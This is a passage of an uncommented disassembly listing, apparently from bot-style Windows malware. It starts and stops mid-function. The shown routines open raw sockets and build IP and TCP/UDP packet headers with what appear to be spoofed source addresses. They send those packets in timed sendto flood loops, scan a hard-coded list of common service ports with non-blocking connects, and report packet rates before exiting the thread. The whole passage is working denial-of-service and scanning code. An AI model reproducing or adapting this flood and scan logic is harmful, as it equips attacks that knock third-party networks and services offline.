		lea	eax, [ebp+var_18]
		push	14h
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		call	near ptr sub_41CAE0
		lea	eax, [ebp+var_A0]
		push	34h
		push	eax
		call	sub_40AB6D
		mov	[ebp+var_8], ax
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	near ptr sub_41CAE0
		lea	eax, [ebp+var_18]
		push	14h
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		call	near ptr sub_41CAE0
		push	4
		lea	eax, [ebp+var_78]
		push	ebx
		push	eax
		call	sub_41BD60
		add	esp, 44h
		lea	eax, [ebp+var_A0]
		push	28h
		push	eax
		call	sub_40AB6D
		mov	[ebp+var_22], ax
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	near ptr sub_41CAE0
		add	esp, 14h
		lea	eax, [ebp+var_44]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_A0]
		push	3Ch
		push	eax
		push	[ebp+var_4]
		call	dword_4CDCC8	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	loc_414917
		inc	[ebp+arg_0]


loc_41486C:				; CODE XREF: sub_41444D+1EFj
		call	edi	; GetTickCount
		sub	eax, [ebp+var_30]
		mov	ecx, 3E8h
		xor	edx, edx
		div	ecx
		cmp	eax, [ebp+var_B4]
		jbe	loc_414641
		push	[ebp+var_4]
		call	dword_4CDCFC	; closesocket
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_B4]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_1BC]
		push	eax
		lea	eax, [ebp+var_440]
		push	offset unk_438A78
		push	eax
		call	sub_41C056
		add	esp, 1Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_4148F7
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_409982
		add	esp, 14h


loc_4148F7:				; CODE XREF: sub_41444D+485j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_4157A5
		push	[ebp+var_BC]
		call	sub_40B2A3
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4280CC	; ExitThread


loc_414917:				; CODE XREF: sub_41444D+416j
		push	[ebp+var_4]
		call	dword_4CDCFC	; closesocket
		call	dword_4CDBF8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_438A28
		lea	eax, [ebp+var_440]
		push	200h
		push	eax
		call	sub_41C150
		add	esp, 18h
		cmp	[ebp+var_A8], ebx
		jnz	short loc_414975
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_409982
		add	esp, 14h


loc_414975:				; CODE XREF: sub_41444D+503j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_4157A5
		push	[ebp+var_BC]
		call	sub_40B2A3
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4280CC	; ExitThread
sub_41444D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414995	proc near		; CODE XREF: sub_414A9E+196p
					; sub_414A9E+1FFp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ecx, 1
		mov	[ebp+arg_4], esi
		jle	short loc_4149C3
		lea	eax, [ecx-2]
		push	edi
		shr	eax, 1
		inc	eax
		lea	edi, [eax+eax]
		sub	ecx, edi


loc_4149B5:				; CODE XREF: sub_414995+28j
		movzx	edi, word ptr [edx]
		add	esi, edi
		inc	edx
		inc	edx
		dec	eax
		jnz	short loc_4149B5
		pop	edi
		cmp	ecx, 1


loc_4149C3:				; CODE XREF: sub_414995+12j
		jnz	short loc_4149D0
		mov	al, [edx]
		mov	byte ptr [ebp+arg_4], al
		movzx	eax, word ptr [ebp+arg_4]
		add	esi, eax


loc_4149D0:				; CODE XREF: sub_414995:loc_4149C3j
		mov	ecx, esi
		and	esi, 0FFFFh
		sar	ecx, 10h
		add	ecx, esi
		pop	esi
		mov	eax, ecx
		sar	eax, 10h
		add	eax, ecx
		not	eax
		pop	ebp
		retn
sub_414995	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4149E9	proc near		; DATA XREF: sub_401B66+6BFAo

var_394		= byte ptr -394h
var_194		= dword	ptr -194h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 394h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	65h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_194]
		rep movsd
		mov	dword ptr [eax+190h], 1
		lea	eax, [ebp+var_110]
		push	eax
		call	sub_41BF49
		pop	ecx
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		call	dword_4CDCA4	; inet_addr
		push	eax
		lea	esi, [ebp+var_194]
		sub	esp, 194h
		push	65h
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_414A9E
		push	eax
		lea	eax, [ebp+var_394]
		push	offset unk_438B54
		push	eax
		call	sub_41C056
		xor	esi, esi
		add	esp, 1A8h
		cmp	[ebp+var_8], esi
		jnz	short loc_414A81
		push	esi
		lea	eax, [ebp+var_394]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_194]
		call	sub_409982
		add	esp, 14h


loc_414A81:				; CODE XREF: sub_4149E9+76j
		lea	eax, [ebp+var_394]
		push	eax
		call	sub_4157A5
		push	[ebp+var_10]
		call	sub_40B2A3
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4280CC	; ExitThread
sub_4149E9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414A9E	proc near		; CODE XREF: sub_4149E9+54p

var_C8		= byte ptr -0C8h
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_9F		= byte ptr -9Fh
var_9E		= word ptr -9Eh
var_9C		= byte ptr -9Ch
var_88		= byte ptr -88h
var_74		= word ptr -74h
var_72		= word ptr -72h
var_70		= dword	ptr -70h
var_64		= byte ptr -64h
var_60		= byte ptr -60h
var_5F		= byte ptr -5Fh
var_5E		= byte ptr -5Eh
var_54		= dword	ptr -54h
var_50		= byte ptr -50h
var_4E		= word ptr -4Eh
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= byte ptr -48h
var_47		= byte ptr -47h
var_46		= word ptr -46h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= word ptr -3Ch
var_3A		= word ptr -3Ah
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= word ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_24		= byte ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_194		= dword	ptr  19Ch
arg_198		= dword	ptr  1A0h

		push	ebp
		mov	ebp, esp
		sub	esp, 0C8h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		mov	esi, dword_4280A8
		push	edi
		call	esi	; GetTickCount
		push	0FFh
		push	3
		push	2
		mov	[ebp+var_C], eax
		call	dword_4CDCE4	; socket
		mov	[ebp+var_8], eax
		call	esi	; GetTickCount
		push	eax
		call	sub_41C0A8
		pop	ecx
		mov	ebx, 578h
		push	ebx
		push	9
		push	1
		call	sub_418E56
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_41BD60
		add	esp, 0Ch
		mov	esi, 5A0h


loc_414AF7:				; CODE XREF: sub_414A9E+224j
		call	dword_4280A8	; GetTickCount
		sub	eax, [ebp+var_C]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+arg_198]
		ja	loc_414CC7
		cmp	dword_4D14F4, 0
		jnz	short loc_414B76
		push	10h
		pop	eax
		mov	[ebp+var_10], eax
		push	eax
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_41BD60
		add	esp, 0Ch
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_64]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CDC08	; getsockname
		push	0FFh
		push	1
		call	sub_418E56
		push	eax
		movzx	eax, [ebp+var_5E]
		push	eax
		movzx	eax, [ebp+var_5F]
		push	eax
		movzx	eax, [ebp+var_60]
		push	eax
		lea	eax, [ebp+var_C8]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	eax
		call	sub_41C056
		add	esp, 20h
		jmp	short loc_414B89
; ---------------------------------------------------------------------------


loc_414B76:				; CODE XREF: sub_414A9E+7Ej
		lea	eax, [ebp+var_C8]
		push	offset dword_4D0ED8
		push	eax
		call	sub_41C680
		pop	ecx
		pop	ecx


loc_414B89:				; CODE XREF: sub_414A9E+D6j
		lea	eax, [ebp+var_C8]
		push	eax
		call	dword_4CDCA4	; inet_addr
		mov	edi, eax
		mov	eax, [ebp+var_54]
		and	al, 45h
		push	esi
		or	al, 45h
		mov	[ebp+var_50], 10h
		mov	[ebp+var_54], eax
		call	dword_4CDC64	; ntohs
		mov	[ebp+var_4E], ax
		call	sub_41C0B2
		and	[ebp+var_46], 0
		mov	[ebp+var_4C], ax
		mov	eax, [ebp+arg_194]
		mov	[ebp+var_4A], 40h
		mov	[ebp+var_48], 40h
		mov	[ebp+var_47], 6
		mov	[ebp+var_44], edi
		mov	[ebp+var_40], eax
		call	sub_41C0B2
		mov	[ebp+var_3C], ax
		call	sub_41C0B2
		mov	[ebp+var_3A], ax
		call	sub_41C0B2
		mov	[ebp+var_38], eax
		call	sub_41C0B2
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_30]
		and	al, 50h
		mov	edi, [ebp+var_40]
		or	al, 50h
		and	[ebp+var_2A], 0
		and	[ebp+var_28], 0
		mov	word ptr [ebp+var_30], ax
		mov	ax, [ebp+var_3A]
		push	14h
		mov	[ebp+var_72], ax
		lea	eax, [ebp+var_54]
		push	eax
		mov	byte ptr [ebp+var_30+2], 18h
		mov	[ebp+var_2C], 787Dh
		mov	[ebp+var_74], 2
		mov	[ebp+var_70], edi
		call	sub_414995
		and	[ebp+var_A0], 0
		pop	ecx
		pop	ecx
		mov	[ebp+var_46], ax
		mov	eax, [ebp+var_44]
		push	58Ch
		mov	[ebp+var_A8], eax
		mov	[ebp+var_A4], edi
		mov	[ebp+var_9F], 6
		call	dword_42820C	; ntohs
		mov	[ebp+var_9E], ax
		lea	eax, [ebp+var_9C]
		push	14h
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		call	near ptr sub_41CAE0
		lea	eax, [ebp+var_88]
		push	ebx
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		call	near ptr sub_41CAE0
		lea	eax, [ebp+var_A8]
		push	598h
		push	eax
		call	sub_414995
		add	esp, 20h
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_74]
		push	10h
		push	eax
		push	0
		push	esi
		lea	eax, [ebp+var_54]
		push	eax
		push	[ebp+var_8]
		call	dword_4CDCC8	; sendto
		inc	[ebp+var_4]
		jmp	loc_414AF7
; ---------------------------------------------------------------------------


loc_414CC7:				; CODE XREF: sub_414A9E+71j
		push	[ebp+var_8]
		call	dword_4CDCFC	; closesocket
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_414A9E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414CD8	proc near		; DATA XREF: sub_401B66+4BE5o

var_414		= byte ptr -414h
var_214		= byte ptr -214h
var_10		= dword	ptr -10h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	edx, [ebp+arg_0]
		push	esi
		mov	eax, 85h
		push	edi
		mov	ecx, eax
		mov	esi, edx
		lea	edi, [ebp+var_214]
		sub	esp, 214h
		rep movsd
		mov	ecx, eax
		lea	esi, [ebp+var_214]
		mov	edi, esp
		mov	dword ptr [edx+210h], 1
		rep movsd
		call	sub_414D4E
		push	eax
		lea	eax, [ebp+var_414]
		push	offset unk_438B88
		push	eax
		call	sub_41C056
		add	esp, 220h
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_4157A5
		push	[ebp+var_10]
		call	sub_40B2A3
		pop	ecx
		pop	ecx
		push	0
		call	dword_4280CC	; ExitThread
sub_414CD8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414D4E	proc near		; CODE XREF: sub_414CD8+3Bp

var_254		= byte ptr -254h
var_54		= byte ptr -54h
var_34		= byte ptr -34h
var_30		= byte ptr -30h
var_2F		= byte ptr -2Fh
var_2E		= byte ptr -2Eh
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_84		= byte ptr  8Ch
arg_104		= byte ptr  10Ch
arg_184		= byte ptr  18Ch
arg_208		= dword	ptr  210h
arg_20C		= dword	ptr  214h

		push	ebp
		mov	ebp, esp
		sub	esp, 254h
		push	ebx
		push	esi
		mov	ebx, 0FFh
		push	edi
		push	ebx
		push	3
		push	2
		call	dword_4CDCE4	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jnz	short loc_414D8C
		lea	eax, [ebp+var_254]
		push	offset unk_438D80
		push	eax
		call	sub_41C056
		pop	ecx
		xor	edi, edi
		pop	ecx
		jmp	loc_415052
; ---------------------------------------------------------------------------


loc_414D8C:				; CODE XREF: sub_414D4E+22j
		lea	ecx, [ebp+var_14]
		push	4
		push	ecx
		xor	edi, edi
		push	2
		push	edi
		push	eax
		mov	[ebp+var_14], 1
		call	dword_4CDC44	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_414DB8
		call	dword_4CDBF8	; WSAGetLastError
		push	eax
		push	offset unk_438D30
		jmp	short loc_414DD3
; ---------------------------------------------------------------------------


loc_414DB8:				; CODE XREF: sub_414D4E+5Aj
		lea	eax, [ebp+arg_4]
		push	eax
		call	dword_4CDCA4	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_414DE7
		call	dword_4CDBF8	; WSAGetLastError
		push	eax
		push	offset unk_438CE8


loc_414DD3:				; CODE XREF: sub_414D4E+68j
		lea	eax, [ebp+var_254]
		push	eax
		call	sub_41C056
		add	esp, 0Ch
		jmp	loc_415052
; ---------------------------------------------------------------------------


loc_414DE7:				; CODE XREF: sub_414D4E+77j
		push	edi
		mov	[ebp+var_24], 2
		call	dword_4CDC64	; ntohs
		mov	[ebp+var_22], ax
		lea	eax, [ebp+arg_4]
		push	eax
		call	dword_428234	; inet_addr
		mov	esi, dword_4280A8
		mov	[ebp+var_20], eax
		call	esi	; GetTickCount
		mov	[ebp+var_8], eax
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_254]
		push	offset unk_438CBC
		push	eax
		call	sub_41C056
		add	esp, 0Ch
		cmp	[ebp+arg_20C], edi
		jnz	short loc_414E50
		push	edi
		lea	eax, [ebp+var_254]
		push	[ebp+arg_208]
		push	eax
		lea	eax, [ebp+arg_184]
		push	eax
		push	[ebp+arg_0]
		call	sub_409982
		add	esp, 14h


loc_414E50:				; CODE XREF: sub_414D4E+E0j
		mov	[ebp+var_4], edi
		call	esi	; GetTickCount
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, eax
		lea	eax, [ebp+arg_104]
		push	eax
		call	sub_41BF49
		cmp	esi, eax
		pop	ecx
		ja	loc_415009
		mov	esi, 41Ch
		jmp	short loc_414E84
; ---------------------------------------------------------------------------


loc_414E7F:				; CODE XREF: sub_414D4E+2B5j
		mov	ebx, 0FFh


loc_414E84:				; CODE XREF: sub_414D4E+12Fj
		cmp	dword_4D14F4, edi
		jnz	short loc_414EDC
		push	10h
		pop	eax
		mov	[ebp+var_10], eax
		push	eax
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		call	sub_41BD60
		add	esp, 0Ch
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CDC08	; getsockname
		push	ebx
		push	1
		call	sub_418E56
		push	eax
		movzx	eax, [ebp+var_2E]
		push	eax
		movzx	eax, [ebp+var_2F]
		push	eax
		movzx	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_54]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	eax
		call	sub_41C056
		add	esp, 20h
		jmp	short loc_414EEC
; ---------------------------------------------------------------------------


loc_414EDC:				; CODE XREF: sub_414D4E+13Cj
		lea	eax, [ebp+var_54]
		push	offset dword_4D0ED8
		push	eax
		call	sub_41C680
		pop	ecx
		pop	ecx


loc_414EEC:				; CODE XREF: sub_414D4E+18Cj
		push	esi
		mov	byte_4D10D8, 45h
		call	dword_4CDC64	; ntohs
		mov	word_4D10DA, ax
		lea	eax, [ebp+var_54]
		push	eax
		mov	word_4D10DC, 1
		mov	word_4D10DE, di
		mov	byte_4D10E0, 80h
		mov	byte_4D10E1, 11h
		mov	word_4D10E2, di
		call	dword_4CDCA4	; inet_addr
		mov	dword_4D10E4, eax
		mov	eax, [ebp+var_20]
		mov	dword_4D10E8, eax
		lea	eax, [ebp+arg_84]
		push	eax
		mov	word_4D10F2, di
		call	sub_41BF49
		test	eax, eax
		pop	ecx
		jnz	short loc_414F64
		call	sub_41C0B2
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		jmp	short loc_414F72
; ---------------------------------------------------------------------------


loc_414F64:				; CODE XREF: sub_414D4E+204j
		lea	eax, [ebp+arg_84]
		push	eax
		call	sub_41BF49
		pop	ecx
		push	eax


loc_414F72:				; CODE XREF: sub_414D4E+214j
		call	dword_4CDC64	; ntohs
		mov	word_4D10EE, ax
		call	sub_41C0B2
		cdq
		mov	ecx, 401h
		push	408h
		idiv	ecx
		mov	word_4D10EC, dx
		call	dword_4CDC64	; ntohs
		push	400h
		mov	word_4D10F0, ax
		call	sub_41C0B2
		cdq
		idiv	ebx
		push	edx
		push	offset dword_4D10F4
		call	sub_41BD60
		add	esp, 0Ch
		lea	eax, [ebp+var_24]
		push	10h
		push	eax
		push	edi
		push	esi
		push	offset byte_4D10D8
		push	[ebp+var_C]
		call	dword_4CDCC8	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	loc_415081
		inc	[ebp+var_4]
		call	dword_4280A8	; GetTickCount
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, eax
		lea	eax, [ebp+arg_104]
		push	eax
		call	sub_41BF49
		cmp	ebx, eax
		pop	ecx
		jbe	loc_414E7F


loc_415009:				; CODE XREF: sub_414D4E+124j
		push	[ebp+var_C]
		call	dword_4CDCFC	; closesocket
		mov	esi, [ebp+var_4]
		lea	eax, [ebp+arg_104]
		push	eax
		imul	esi, 41Ch
		call	sub_41BF49
		mov	ecx, eax
		mov	eax, esi
		shr	eax, 0Ah
		xor	edx, edx
		div	ecx
		shr	esi, 14h
		push	eax
		push	esi
		push	[ebp+var_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_254]
		push	offset unk_438C58
		push	eax
		call	sub_41C056
		add	esp, 1Ch


loc_415052:				; CODE XREF: sub_414D4E+39j
					; sub_414D4E+94j ...
		cmp	[ebp+arg_20C], edi
		jnz	short loc_41507A
		push	edi
		lea	eax, [ebp+var_254]
		push	[ebp+arg_208]
		push	eax
		lea	eax, [ebp+arg_184]
		push	eax
		push	[ebp+arg_0]
		call	sub_409982
		add	esp, 14h


loc_41507A:				; CODE XREF: sub_414D4E+30Aj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_415081:				; CODE XREF: sub_414D4E+289j
		push	[ebp+var_4]
		push	esi
		call	dword_4CDBF8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_254]
		push	offset unk_438BC8
		push	eax
		call	sub_41C056
		add	esp, 18h
		jmp	short loc_415052
sub_414D4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4150A6	proc near		; DATA XREF: sub_401B66+627Co

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		call	sub_41BF49
		pop	ecx
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		call	sub_41BF49
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	dword_4CDCA4	; inet_addr
		push	eax
		call	sub_415240
		push	eax
		lea	eax, [ebp+var_414]
		push	offset unk_438DAC
		push	eax
		call	sub_41C056
		xor	esi, esi
		add	esp, 18h
		cmp	[ebp+var_8], esi
		jnz	short loc_415138
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_409982
		add	esp, 14h


loc_415138:				; CODE XREF: sub_4150A6+70j
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_4157A5
		push	[ebp+var_10]
		call	sub_40B2A3
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4280CC	; ExitThread
		pop	edi
		pop	esi
sub_4150A6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415157	proc near		; CODE XREF: sub_415240+184p

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		and	[ebp+var_4], 0
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		jnz	short loc_415180
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_428210	; connect
		jmp	loc_41523C
; ---------------------------------------------------------------------------


loc_415180:				; CODE XREF: sub_415157+13j
		mov	esi, [ebp+arg_0]
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	eax
		inc	edi
		push	8004667Eh
		push	esi
		mov	[ebp+var_8], edi
		call	dword_4281F8	; ioctlsocket
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4CDC0C	; connect
		push	[ebp+arg_C]
		lea	eax, [ebp+var_210]
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		push	0
		push	eax
		lea	eax, [ebp+var_10C]
		mov	[ebp+var_20C], esi
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_210], edi
		call	dword_4CDC4C	; select
		test	eax, eax
		jnz	short loc_4151E4
		or	eax, 0FFFFFFFFh
		jmp	short loc_41523C
; ---------------------------------------------------------------------------


loc_4151E4:				; CODE XREF: sub_415157+86j
		or	edi, 0FFFFFFFFh
		cmp	eax, edi
		jnz	short loc_4151EF


loc_4151EB:				; CODE XREF: sub_415157+B8j
					; sub_415157+DCj
		mov	eax, edi
		jmp	short loc_41523C
; ---------------------------------------------------------------------------


loc_4151EF:				; CODE XREF: sub_415157+92j
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_426FF6	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_415211
		lea	eax, [ebp+var_210]
		push	eax
		push	esi
		call	sub_426FF6	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_4151EB


loc_415211:				; CODE XREF: sub_415157+A7j
		lea	eax, [ebp+arg_0]
		mov	[ebp+arg_0], 4
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1007h
		push	0FFFFh
		push	esi
		call	dword_4281E4	; getsockopt
		cmp	eax, edi
		jz	short loc_4151EB
		mov	eax, [ebp+var_4]
		neg	eax
		sbb	eax, eax


loc_41523C:				; CODE XREF: sub_415157+24j
					; sub_415157+8Bj ...
		pop	edi
		pop	esi
		leave
		retn
sub_415157	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415240	proc near		; CODE XREF: sub_4150A6+51p

var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= byte ptr -0FCh
var_98		= word ptr -98h
var_96		= word ptr -96h
var_94		= dword	ptr -94h
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		xor	eax, eax
		push	ebx
		push	esi
		inc	eax
		push	edi
		xor	ebx, ebx
		push	eax
		push	ebx
		push	ebx
		push	0FFh
		push	3
		mov	[ebp+var_10], eax
		pop	esi
		push	esi
		push	2
		call	dword_428208	; WSASocketA
		lea	ecx, [ebp+var_10]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	dword_4D1558, eax
		call	dword_4CDC44	; setsockopt
		call	dword_4280A8	; GetTickCount
		push	eax
		call	sub_41C0A8
		pop	ecx
		xor	eax, eax
		push	19h
		lea	edi, [ebp+var_FC]
		pop	ecx
		mov	[ebp+var_108], ebx
		mov	[ebp+var_78], ecx
		mov	[ebp+var_104], ebx
		mov	[ebp+var_100], ebx
		mov	[ebp+var_18], esi
		mov	[ebp+var_88], 401h
		mov	[ebp+var_84], 15h
		mov	[ebp+var_80], 16h
		mov	[ebp+var_7C], 17h
		mov	[ebp+var_74], 35h
		mov	[ebp+var_70], 50h
		mov	[ebp+var_6C], 51h
		mov	[ebp+var_68], 58h
		mov	[ebp+var_64], 6Eh
		mov	[ebp+var_60], 71h
		mov	[ebp+var_5C], 77h
		mov	[ebp+var_58], 87h
		mov	[ebp+var_54], 89h
		mov	[ebp+var_50], 8Bh
		mov	[ebp+var_4C], 8Fh
		mov	[ebp+var_48], 1BBh
		mov	[ebp+var_44], 1BDh
		mov	[ebp+var_40], 400h
		mov	[ebp+var_3C], 599h
		mov	[ebp+var_38], 5DCh
		mov	[ebp+var_34], 6B8h
		mov	[ebp+var_30], 0CEAh
		mov	[ebp+var_2C], 0D3Dh
		mov	[ebp+var_28], 1388h
		mov	[ebp+var_24], 1A0Bh
		mov	[ebp+var_20], 1F40h
		mov	[ebp+var_1C], 1F90h
		mov	[ebp+var_C], ebx
		rep stosd
		mov	[ebp+var_14], 0BB8h
		xor	esi, esi


loc_41537E:				; CODE XREF: sub_415240+1ACj
		mov	eax, [ebp+arg_0]
		lea	edi, [ebp+esi+var_88]
		mov	[ebp+var_94], eax
		mov	[ebp+var_98], 2
		mov	ax, [edi]
		push	eax
		call	dword_4CDC64	; ntohs
		push	ebx
		push	1
		push	2
		mov	[ebp+var_96], ax
		call	dword_4CDCE4	; socket
		lea	ecx, [ebp+var_18]
		mov	[ebp+var_8], eax
		push	ecx
		lea	ecx, [ebp+var_98]
		push	10h
		push	ecx
		push	eax
		call	sub_415157
		add	esp, 10h
		mov	[ebp+var_4], eax
		push	[ebp+var_8]
		call	dword_4CDCFC	; closesocket
		cmp	[ebp+var_4], ebx
		jnz	short loc_4153E6
		mov	eax, [edi]
		mov	[ebp+esi+var_108], eax


